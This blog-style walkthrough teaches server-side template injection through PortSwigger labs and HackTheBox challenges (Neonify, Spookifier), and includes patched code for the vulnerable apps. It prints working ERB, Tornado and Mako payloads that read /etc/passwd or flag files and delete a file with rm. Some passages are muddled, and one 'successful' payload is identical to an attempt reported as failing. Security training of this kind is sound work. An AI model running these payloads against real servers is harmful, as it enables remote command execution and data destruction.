Introduction
We are starting this combined Black Box with White Box testing guide that examines server-side template injection (SSTI) vulnerabilities across two application frameworks. The first section using Black Box evaluation examines a Ruby-based and Tornado-based application from the outside perspective to find SSTI vulnerabilities by implementing fuzzing and error-triggering and payload injection. Our analysis moves to White Box assessment for complete source code investigation which reveals vulnerability points and generates operational exploits alongside secured programming methods. This blog post delivers an in-depth understanding of SSTI attacks together with their fix methods for penetration testers and developers who want to boost defensive strength.
BlackBox Testing
1. Exploring the web application.
The lab appui employs a message
parmeter in a GET requests to display product summary on the home page. As example, when try to view more details about first product it shows MsgBox:
“Unfortunately this item is currently out of stock”
Interresting this is let us try sending this request to intruder
and repeater
and see how this request turns out
2. Initial SSTI Detection
Testing with a Mathematical Operation
There is a surefire way to confirm the existence of SSTI, we can start with injecting an innocuous payload performs a mathematical operation. The payloads are:
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
You can use now of this payloads and fuzz with intruder
to check for SSTI
.
BURP-SUITE TIP: By fuzzing of SSTI
u might want use intruder visit settings section and make use of grep extract
to select out what to see (screen) during your fuzzon
3. Escalating to Remote Code Execution
Leveraging Ruby’s system()
Method
Once SSTI is confirmed, the next step is to achieve RCE. Ruby’s documentation indicates that the system()
method can execute arbitrary operating system commands. We can craft a payload to remove a file, for example, deleting the file /home/carlos/morale.txt
.
The payload necessary to do this is:
<%= system("rm /home/carlos/morale.txt") %>
GET /?message=<%25%3d+system('cat+/etc/passwd')+%25>
If we use the previous payload we see that we are able to access the /etc/passwd
Now let’s modify the payload a bit to change it to removing the morale.txt
<%= system("rm /home/carlos/morale.txt") %>
Once the payload has been URL-escaped, it is:
https://YOUR-LAB-ID.web-security-academy.net/?message=<%25+system("rm+/home/carlos/morale.txt")+%25>
When run, this payload tells the server to run the rm
command which deletes the given file.
With this we solve the lab.
Lab 1 : Basic server-side template injection (code context)
Lab URL - https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic-code-context
1. App Exploration
Now the website has login feature, and an blog comment section. First we try to see if we can reflect any SSTI
payloads and see that they are none. So let’s move ahead with the login section.
With the credentials we are able to login and we see an interesting POST
parameter.
2. Vulnerability Identification
First we can fuzz the payloads like we did in previous labs but we see that nothing is displayed. So we try and trigger an error to see if we can discover an template-ing engine.
If we change the username to something else, then we get an error. Try to change the user.name parameter to something else. We should see an error that discloses the template used in the backend.
user.nameDoesnotexist
This reveals that tornado
is used in the backend.
3. Testing
Now do note in your mind that usually SSTI
payload in our scenario should get pass , but in our case we get an error, this means the code running in the backend should like this.
Image credit goes to sevenseas security from youtube. Feel free to check his SSTI
playlist -
In Tornado templates, {{ ... }}
encloses expressions. The snippet user.name}}
simply closes the original expression for user.name
. Immediately after that, you can open a new expression with {{ payload }}
, causing Tornado to treat it as separate code. This technique effectively “breaks out” of the existing expression and injects your own template logic afterward.
To check that our input was being executed at the Tornado templating engine level, we intercepted the request using Burp Repeater and altered the blog-post-author-display
parameter. By injecting:
user.name}}{{7*7}}
And after that reloading the web page, the consumer title echoed as something indicative of:
Peter Wiener49}}
The output of the evaluated result (49
, from the expression 7*7
) showed that it was analyzing our input of the template engine. This successful result confirmed the presence of an SSTI vulnerability.
4. Exploit Modification
With the SSTI confirmed, the next step was to evolve our payload for remote code execution (RCE). Tornado’s templating language also supports the inclusion of Python code blocks using syntax like:
{% somePython %}
By consulting the Tornado and Python documentation, we determined that importing the os
module and executing commands with os.system()
was possible. Initially, a benign command (such as whoami
or pwd
) could be used to confirm our access. Once verified, we modified our payload for a destructive purpose. The goal was to delete a sensitive file (/home/carlos/morale.txt
) by executing the following payload:
{% import os %}
{{os.system('rm /home/carlos/morale.txt')}}
To ensure proper delivery, this payload needed to be URL-encoded and injected by breaking out of the current expression context.
The final step was to send our crafted payload via the vulnerable parameter. In Burp Repeater, we modified the POST request to /my-account/change-blog-post-author-display
by setting the parameter to:
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')
After URL-encoding and sending the request, reloading the page triggered the template evaluation. With this your should solve your lab. You should get an redirect and if you follow the redirect you would have solved the lab.
WhiteBox Testing
1. Neonify
Lab link - https://app.hackthebox.com/challenges/Neonify
Source code analysis
Consider the following original Ruby code. Once you have downloaded the source code, unzip it using hackthebox
as password, and then we got our main file neon.rb
inside web_neonify/challenge/app/controllers
.
class NeonControllers < Sinatra::Base
configure do
set :views, "app/views"
set :public_dir, "public"
end
get '/' do
@neon = "Glow With The Flow"
erb :'index'
end
post '/' do
if params[:neon] =~ /^[0-9a-z ]+$/i
@neon = ERB.new(params[:neon]).result(binding)
else
@neon = "Malicious Input Detected"
end
erb :'index'
end
end
What’s Happening?
**Note: “Sinatra” when referring to Ruby is –> ==a very small web application framework that helps to build web services quickly with minimal setup==, i.e. simple in usage and quite flexible way to make web applications and in Ruby – a very popular, lightweight web framework that helps to quickly make web services which could be prototyping or small focused services due to the ease of use.
Setup and Routing:
The application defines two routes. A GET path to show a default message and a POST path to handle user input.
The Vulnerable Code:
@neon = ERB.new(params[:neon]).result(binding)
This line touches user input and compiles it as ERB template. If someone else sends an malicious ERB code, for example something like the below one, then it’s the attacker can retrieve files from the remote server.
a
<%=%x(cat flag.txt)%>
Payloads as the one shown could they run commands on your server—like viewing sensitive files.
Why the Regex Fails:
Though the regex /^[0-9a-z ]+$/i
is supposed to restrict the input, it can be circumvented by entering multi-line input. In this instance, the newline (\n
) enables the bad part of the input to be sufficiently less than but immediately sequential to the version in the last request for validation to pass it.
Rendering the Output:
The ERB execution (or an error message) output is outputed via the erb :'index'
template.
Exploiting the bug
Now unlike typical blog, I will also include my trials and attempts that failed. Now this blog will include things I have tried and possible reasons why these things might have failed.
**1st Attempt:
a\n<%= %x(cat flag.txt) %>
Reason for Failure:
Special characters including newline \n along with < % = > ( ) exist within the payload structure outside the accepted character set. The decoder detects multiple characters in the input string which exceed the whitelist parameters although URL encoding has already taken place. The regex check results in a failure for the complete input thus causing the payload rejection and preventing code evaluation through ERB.new.
2. Second Attempt
Reference -
a
<%= File.open('flag.txt').read %>
Reason for Failure:
The initial line of the string consists solely of the readable ‘a’ character but the following line contains '<', '%' and '=' also '>',
. The full input string receives the application of the regex check. The request fails due to the prohibited characters present in the second line. All disallowed symbols that remain in the URL-encoded payload will trigger rejection of the total payload by the system.
3. Third Attempt
Payload:
<%= File.open('flag.txt').read %>
Reason for Failure:
The payload consists of ERB syntax and initiates an error from the very beginning because it contains prohibited characters. The regex evaluation instantly rejects the payload because it contains no permitted character elements including <
, %
, =
and similar characters. The payload fails the check because the server displays “Malicious Input Detected” instead of moving forward for processing.
4. Fourth/Fifth Attempt
Payloads:
Reason for Failure:
The payload receives HTML encasement in both attempts. The entire input consisting of <h1 class="glow">
with its closing tags contains multiple forbidden characters which include <
, >
, "
and %
. The safety parameters of the strict whitelist fail to match the input even though a benign element (a
or @neon
) gets included. Consequently, the entire payload gets denied. The system prevents the payload from reaching execution status as an ERB template through the regex check.
5. What Worked
Successful Payload (from Ashique’s Writeup): -
The final working approach was:
a
<%= File.open('flag.txt').read %>
After URL encoding the payload we were able to get the flag.
%61%0a%3c%25%3d%20%46%69%6c%65%2e%6f%70%65%6e%28%27%66%6c%61%67%2e%74%78%74%27%29%2e%72%65%61%64%20%25%3e
Why It Worked:
Newline Separation:
The two lines in the payment included a
(which met the regex requirements) and malicious ERB code in the second line.
Proper URL Encoding:
The whole payload contained both lines of text merged to create one extended string for encoding. The resulting URL-encoded payload was:
Fixing the bug
A proposed solution by Claude AI is something like this:
post '/' do
if params[:neon] && params[:neon].match?(/^[a-zA-Z0-9 ]+$/)
@neon = Rack::Utils.escape_html(params[:neon])
else
@neon = "Invalid Input"
end
erb :'index'
end
Now, the entire code in which we will implement the fix as suggested by claude AI
would look something like above:
class NeonControllers < Sinatra::Base
configure do
set :views, "app/views"
set :public_dir, "public"
end
get '/' do
@neon = "Glow With The Flow"
erb :'index'
end
post '/' do
# Sanitize input by using an explicit whitelist of allowed characters
if params[:neon] && params[:neon].match?(/^[a-zA-Z0-9 ]+$/)
# Escape the input to prevent ERB rendering
@neon = Rack::Utils.escape_html(params[:neon])
else
@neon = "Invalid Input"
end
erb :'index'
end
end
What has changed?
To know in merry detail, we just put this line of code and fixed vulnerability.
@neon = Rack::Utils.escape_html(params[:neon])
- Stricter Regex:
The regex which is used is all that allows letters(both uper & lower cases), numbers, & spaces.
/^[a-zA-Z0-9 ]+$/`
- Eliminating ERB Execution:
Instead of compiling the user input as an ERB template, we now sanitize it using Rack::Utils.escape_html
. Now rack is ==a modular interface that allows you to develop web applications in Ruby==. It’s a Ruby package that unifies APIs for web servers, frameworks, and middleware. You can check more about this package using this github link
Now Utils.escape_html
function converts all HTML special characters into safe entities. For example, <
becomes <
, regardless of being ERB tags attempted by an attacker, they are merely output as plain text.
Markdown Map of Input Processing
Now to simplify how the payload get’s processed and how does our fixed code actually work let’s draw and have a look at the flow chart. This will certainly solidify our understanding of the topic.
Original Flow
Fixed Flow
Note: The above flowcharts (using flowchart.fun) illustrate the key steps for each version.
Testing the fix
Now let’s resend the payload and see if it’s still possible to get and retrieve the flag.
By converting the processing of user input in dynamic ERB evaluation to safe HTML fragment replacement, we effectively counter ERB template injection. The payload you tested, a\n<%=%x(cat flag.txt)%>
is rendered ineffective as:
a
<%= File.open('flag.txt').read %>
Now let’s have an look at the response from the web server. As you can notice we are still not able to get the flag and all of our special characters got converted into it’s equivalent html entities
2. Spookify
Lab link - https://app.hackthebox.com/challenges/Spookifier
Source Code Vulnerability Analysis
The security flaw exists because Spookifier fails to adequately process input data which is distributed across multiple key files. The following files provide access to source code containing vulnerable code when you download and examine them:
- File:
application/blueprints/routes.py
A route exists in this file to receive GET parameter text before transferring data to the processing function.
@web.route('/')
def index():
text = request.args.get('text')
if(text):
converted = spookify(text)
return render_template('index.html', output=converted)
return render_template('index.html', output='')
- File:
application/util.py
The main processing logic that handles user input together with the Mako template engine appears within this file. A security weakness appears because the template system absorbs unsanitized input.
Input Processing and Font Conversion
In application/util.py
, the spookify
function takes the user input and passes it to the change_font
function:
def spookify(text):
converted_fonts = change_font(text_list=text)
return generate_render(converted_fonts=converted_fonts)
Conversion Function with Dynamic Lookup
The change_font
function found in application/util.py
divides text into characters before linking each one to definition fonts through predefined dictionaries. The globals()
function retrieves these dictionaries in this context.
def change_font(text_list):
text_list = [*text_list]
current_font = []
all_fonts = []
add_font_to_list = lambda text, font_type: (
[current_font.append(globals()[font_type].get(i, ' ')) for i in text],
all_fonts.append(''.join(current_font)),
current_font.clear()
) and None
add_font_to_list(text_list, 'font1')
add_font_to_list(text_list, 'font2')
add_font_to_list(text_list, 'font3')
add_font_to_list(text_list, 'font4')
return all_fonts
Rendering via Mako Template
The generate_render
function contains the core security weakness. A Mako engine uses the unsanitized user input to fill an HTML template that it subsequently renders. The specified expressions which start and end with ${...}
can be evaluated through this system.
def generate_render(converted_fonts):
result = '''
<tr>
<td>{0}</td>
</tr>
<tr>
<td>{1}</td>
</tr>
<tr>
<td>{2}</td>
</tr>
<tr>
<td>{3}</td>
</tr>
'''.format(*converted_fonts)
return Template(result).render()
Any Mako template expression present in the user input can execute due to result
having direct access to unsanitized data from converted_fonts
. The primary cause of Server-Side Template Injection (SSTI) vulnerability exists in this step.
Exploitation Methodology
Vulnerability Confirmation:
An attacker can submit a benign payload such as:
${7*7}
If the output displays “49”, it confirms that the template expressions are being evaluated.
- Accessing the OS Module:
Now with this we have verified the existence of SSTI
vulnerability. Now let’s get RCE or remote code execution to read /flag.txt
.
If we google and refer websites like hacktricks
we get to see the following payload that executes whoami
through SSTI
vulnerability.
${self.module.cache.util.os.popen('whoami').read()}
Now let’s chance the command from whoami
to cat flag.txt
and we see that we have get the flag.
${self.module.cache.util.os.popen('cat /flag.txt').read()}
Mitigation and Fixes
To remediate this vulnerability, consider the following measures:
- Input Sanitization:
Users need proper escaping methods which make template delimiters from user-supplied input powerless when applied to applications. The markupsafe
library serves as an example of solution.
from markupsafe import escape
def generate_render(converted_fonts):
safe_fonts = [escape(font) for font in converted_fonts]
result = '''
<tr>
<td>{0}</td>
</tr>
<tr>
<td>{1}</td>
</tr>
<tr>
<td>{2}</td>
</tr>
<tr>
<td>{3}</td>
</tr>
'''.format(*safe_fonts)
return Template(result).render()
- Safe Template Rendering:
User data must never participate in the dynamic construction of template strings because it remains unfiltered. User inputs should be used as template variables through safe templating practices to enable automatic escaping functions.
- Code Refactoring and Auditing:
- Separate user-generated content from template logic.
- The codebase needs regular audits for identical vulnerabilities alongside a strict input validation through whitelists.
Users can inspect files application/blueprints/routes.py
and application/util.py
through download to observe the vulnerability origin as well as grasp the necessary security measures for the code.
Conclusion
In the Black Box and White Box scenarios, RCE (Remote Code Execution) is possible through unsanitized user input passed directly into template engines. We showed that with a bit of lack of care, such as forgetting to sanitize multiline input, missing special characters; or using invalid template syntax; in fact being benign could result in huge compromises of the system. Staying on top of the best practices like escaping all input, using strict regex filters, and following the separation of business logic from the presentation code can indeed help to defeat the SSTI attack. The result is that your systems remain robustly secure, and the critical chops that make that possible are testing—both externally and internally—highly, as well as, good code reviews.